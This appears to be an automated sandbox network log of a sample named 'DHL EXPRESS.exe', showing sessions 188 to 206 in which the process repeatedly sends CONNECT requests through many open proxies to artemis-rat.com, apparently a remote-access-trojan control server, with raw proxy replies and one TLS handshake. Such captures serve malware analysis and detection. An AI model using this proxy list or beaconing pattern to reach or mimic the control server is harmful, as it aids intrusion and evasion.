Mar 11, 2024 18:36:46.315617085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.8	50382	91.148.127.162	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.608393908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.8	50609	104.16.109.207	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.608422041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.762504101 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.8	50495	159.203.61.169	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.609460115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.875535011 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.8	50415	133.232.90.96	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.609467030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.002568960 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:45 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.8	50542	23.152.40.14	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.616061926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:39:22.174190044 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.8	50371	202.162.219.10	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.621253014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.8	50412	120.79.101.0	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.627754927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.964790106 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.8	50569	3.212.148.199	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.632497072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.849282026 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.8	50656	104.16.108.42	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.638143063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.792680025 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.8	50468	18.135.211.182	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.641149998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.946342945 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.8	50306	38.54.116.9	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.645224094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.077266932 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.8	50536	184.181.217.206	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.658797979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.8	50467	211.222.252.187	8193	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.658960104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.8	50428	176.192.65.34	5020	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.659231901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.8	50411	27.54.71.231	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.664351940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.440627098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.612488031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.343952894 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.8	50499	3.127.62.252	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.671766043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.976408958 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:46.028769970 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 2d 0c b2 e9 6f ae 01 3a ad 61 32 56 7b fb 30 74 36 78 6f 97 43 60 ab 72 82 59 6c 8f f3 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA-o:a2V{0t6xoC`rYl*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:46.333302975 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 e3 25 3b 57 c6 4f 6e 10 78 a7 66 df 5b ee 8e 17 68 80 4c e9 02 36 81 36 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9%;WOnxf[hL66DOWNGRD0000H010Uartemis-rat.com0240311171006Z260311171006Z010Uartemis-rat.com0"0H00QN%
Mar 11, 2024 18:36:46.389580965 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 a2 35 fb b2 5d 68 23 b4 c0 02 68 49 18 2c cb b0 cf 5e 4a ae 21 90 c9 18 21 05 de 66 ac 6f 12 3c 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 a0 10 fe 1e 7e bd 2c c6 79 37 61 4b 4a 94 98 db 5d a7 e2 ed f3 Data Ascii: %! 5]h#hI,^J!!fo<(~,y7aKJ]5qI'Y
Mar 11, 2024 18:36:46.691617012 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 d4 82 1d a3 d0 a1 ff 70 c5 e5 59 58 40 00 43 94 89 0f 42 ae ce f0 0b ea 43 27 71 a1 94 d3 92 4e cf 1e 72 2b c5 8c fe 06 Data Ascii: (pYX@CBC'qNr+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.8	50471	39.105.5.126	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.674932003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.999020100 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.8	50520	188.166.56.246	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.684616089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.527185917 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:46 GMT Server: Apache/2.4.38 (Debian) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 6d 61 78 6c 65 67 67 69 65 72 69 40 67 6d 61 69 6c 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at maxleggieri@gmail.com to inform them
Mar 11, 2024 18:36:46.527278900 CET	270	IN	Data Raw: 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 Data Ascii: of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.38 (Debian) Server at api.growbot.dk Port 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.8	50439	59.15.28.76	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.686523914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.459291935 CET	39	IN	HTTP/1.1 200 Connection established

